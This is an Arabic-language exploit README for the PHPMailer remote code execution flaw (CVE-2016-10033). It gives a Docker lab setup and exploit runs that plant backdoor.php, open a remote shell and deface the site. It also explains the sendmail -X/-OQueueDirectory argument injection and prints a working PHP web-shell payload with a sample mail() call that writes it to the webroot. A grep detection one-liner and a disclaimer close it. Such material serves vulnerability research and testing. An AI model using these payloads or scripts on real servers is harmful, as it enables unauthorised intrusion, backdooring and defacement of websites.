
PHPMailer < 5.2.18 تنفيذ الأوامر عن بُعد
PHPMailer هي أشهر فئة نقل في العالم، مع ما يقدر بـ 9 ملايين مستخدم حول العالم. تستمر التنزيلات بوتيرة كبيرة يوميًا. تُستخدم من قبل العديد من المشاريع مفتوحة المصدر: WordPress، Drupal، 1CRM، SugarCRM، Yii، Joomla! وغيرها الكثير.
يعاني PHPMailer قبل الإصدار 5.2.18 من ثغرة قد تؤدي إلى تنفيذ الأوامر عن بُعد (RCE). وظيفة mailSend في وسيلة النقل isMail في PHPMailer، عندما لا يتم تعيين خاصية Sender، قد تسمح للمهاجمين عن بُعد بتمرير معاملات إضافية إلى أمر mail وبالتالي تنفيذ كود تعسفي عبر حرف " (شرطة مائلة للخلف وعلامتي اقتباس) في عنوان From مُصمم.
لإعداد بيئة ضعيفة لاختبارك، ستحتاج إلى تثبيت Docker، ثم تشغيل الأمر التالي:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
وسيقوم بإنشاء تطبيق ويب ضعيف على مضيفك على المنفذ 8080

لاستغلال هذا الهدف، قم بتشغيل:
./exploit host:port
إذا كنت تستخدم هذه الصورة الضعيفة، يمكنك تشغيل:
./exploit localhost:8080
بعد الاستغلال، سيتم تخزين ملف يُدعى backdoor.php في المجلد الجذر لدليل الويب. وسيقوم الاستغلال بفتح شيل حيث يمكنك إرسال الأوامر إلى الباب الخلفي:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
وهذا كل شيء، لديك شيلك. يوجد استغلال آخر يوضح حالة استخدام أخرى.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
وإذا قمت بزيارة الصفحة مرة أخرى، سترى هذا:

قبل هذا الالتزام في class.phpmailer.php في سيناريو معين لا يوجد تصفية للأحرف الخاصة في عنوان البريد الإلكتروني للمرسل. هذا العيب يمكن أن يؤدي إلى تنفيذ الأوامر عن بُعد، عبر وظيفة mail هنا.
عند تحليل الكود، لا يوجد تصفية في وظيفة mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
يتم إلحاق $this->Sender مباشرة إلى المتغير $params، والذي تم تصفيته في وظيفة validateAddress()، ولكن نظرًا لأنها تستخدم مواصفات RFC 3696، فإنها تسمح ببعض الأحرف التي ستسبب مشاكل.
في هذه الحالة، علامات الاقتباس:
بالإضافة إلى الاقتباس باستخدام حرف الشرطة المائلة للخلف، يمكن استخدام أحرف علامات الاقتباس المزدوجة التقليدية لإحاطة السلاسل. على سبيل المثال
"Abc@def"@example.com
"Fred Bloggs"@example.com
هي أشكال بديلة للمثالين الأولين أعلاه. نادرًا ما يُوصى بهذه الأشكال المقتبسة، وهي غير شائعة عمليًا، ولكن، كما نوقش أعلاه، يجب دعمها من قبل التطبيقات التي تقوم بمعالجة عناوين البريد الإلكتروني. على وجه الخصوص، غالبًا ما تظهر الأشكال المقتبسة في سياق العناوين المرتبطة بالانتقال من أنظمة وسياقات أخرى؛ تلك المتطلبات الانتقالية لا تزال قائمة، وبما أن النظام الذي يقبل عنوان بريد إلكتروني يقدمه المستخدم لا يمكنه "معرفة" ما إذا كان هذا العنوان مرتبطًا بنظام قديم، يجب قبول نماذج العناوين وتمريرها إلى بيئة البريد الإلكتروني.
يمكنك قراءة RFC بالكامل هنا إذا أردت. ولكن أيضًا، إذا كان إصدار PHP أقل من 5.2.0، ولم يتم تثبيت PCRE، فسيتم تعيين المتغير $patternselect في وظيفة validateAddress() على noregex. سيؤدي ذلك إلى تمكن الإدخال من تجنب أي فحص regex. سيمر فقط عبر التحقق الصغير:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
ثم، يتدفق الكود إلى وظيفة mailPassthru()، والتي إذا كانت تعمل في safe_mode فلن تكون عرضة لهذا العيب، كما ينص الكود التالي
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
ولكن، إذا لم يكن يعمل في safe_mode، فسيتم تمرير المعامل الخاص لدينا إلى mail()، وإذا كنا محظوظين، فسيحصل على ملفنا الذي يحتوي على ما نريد كتابته حيث نختار كتابته.
استغلال وظيفة PHP mail() ليس شيئًا جديدًا، لكنه لا يزال حيًا والناس ما زالوا يستخدمونه. لشرح كيفية عمله، دعنا ننظر إلى كيفية تعريف وظيفة mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
هناك عدة طرق استغلال لنتائج مختلفة، سنركز على استغلال المعامل الخامس للحصول على تنفيذ الأوامر عن بُعد (RCE). يُستخدم المعامل $additional_parameters لتمرير علامات إضافية كخيارات سطر الأوامر للبرنامج المُعد لإرسال البريد الإلكتروني. يتم تعريف هذا التكوين بواسطة متغير sendmail_path.
ملاحظة أمنية من التوثيق الرسمي لـ PHP:
يمكن استخدام المعامل additional_parameters لتمرير علامات إضافية كخيارات سطر أوامر للبرنامج المُعد لاستخدامه عند إرسال البريد، كما هو محدد بواسطة إعداد sendmail_path. على سبيل المثال، يمكن استخدامه لتعيين عنوان مرسل المغلف عند استخدام sendmail مع خيار -f sendmail.
يتم تخطي هذا المعامل بواسطة escapeshellcmd() داخليًا لمنع تنفيذ الأوامر. يمنع escapeshellcmd() تنفيذ الأوامر، ولكنه يسمح بإضافة معاملات إضافية. لأسباب أمنية، يُوصى بأن يقوم المستخدم بتعقيم هذا المعامل لتجنب إضافة معاملات غير مرغوب فيها إلى أمر الشل.
بالنظر إلى المعاملات الإضافية التي يمكن حقنها، سنستخدم -X لاستغلال هذا العيب. المزيد حول المعامل -X
-X logfile
تسجيل كل حركة المرور داخل وخارج خوادم البريد في ملف السجل المشار إليه. يجب استخدام هذا فقط كملاذ أخير لتصحيح أخطاء برامج البريد. سيسجل الكثير من البيانات بسرعة كبيرة.
هناك أيضًا بعض المعاملات الأخرى المثيرة للاهتمام التي يجب أن تعرف بوجودها:
-Cfile
استخدام ملف تكوين بديل. يتخلى Sendmail عن أي صلاحيات محسنة (set-user-ID أو set-group-ID) إذا تم تحديد ملف تكوين بديل.
و
-O option=value
تعيين الخيار option إلى القيمة المحددة. يستخدم هذا النموذج أسماء طويلة.
وبالنسبة لخيار -O، فإن QueueDirectory هو الخيار الأكثر إثارة للاهتمام هناك، حيث يحدد هذا الخيار الدليل الذي سيتم فيه وضع الرسائل في قائمة الانتظار.
إذا كنت تريد قراءة القائمة الكاملة للمعاملات والخيارات، فقط man sendmail أو اقرأها عبر الإنترنت هنا
بناءً على هذه المعلومات، والقدرة على التحكم في واحد على الأقل من المعاملات الأخرى، يمكننا استغلال المضيف. فيما يلي خطوات الاستغلال الناجح:
$additional_parameters ومعامل آخر في mail()webroot (مثل /var/www/html للأنظمة الأخرى، /www لهذا المثال)system() بسيطة، مع قليل من base64 وبعض الأحرف الخاصة | لتسهيل التحليل.تذكر أن خيار -X سيكتب ملف السجل، الذي سيحتوي من بين معلومات السجل على حمولة PHP الخاصة بك، في الدليل الذي ستحدده. مثال على كود PHP ضعيف:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
إذا قمت بتنفيذ الكود أعلاه، فسيقوم بإنشاء ملف سجل في /www/backdoor.php، هذا هو جوهر هذا الاستغلال.
فيما يلي الحمولة المستخدمة في هذا المثال
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
هل تريد طريقة سهلة بأمر واحد لمحاولة اكتشاف هذا العيب؟ تذكر أمر grep السحري هذا!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
تشغيله ضد هذا المستودع سينتج عنه
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
تم العثور على هذه الثغرة بواسطة Dawid Golunski.
هذا البرنامج أو البرنامج السابق مخصص للأغراض التعليمية فقط. لا تستخدمه دون إذن. يسري إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) لست مسؤولاً عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف التي توفرها هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج، فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، وما إلى ذلك) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.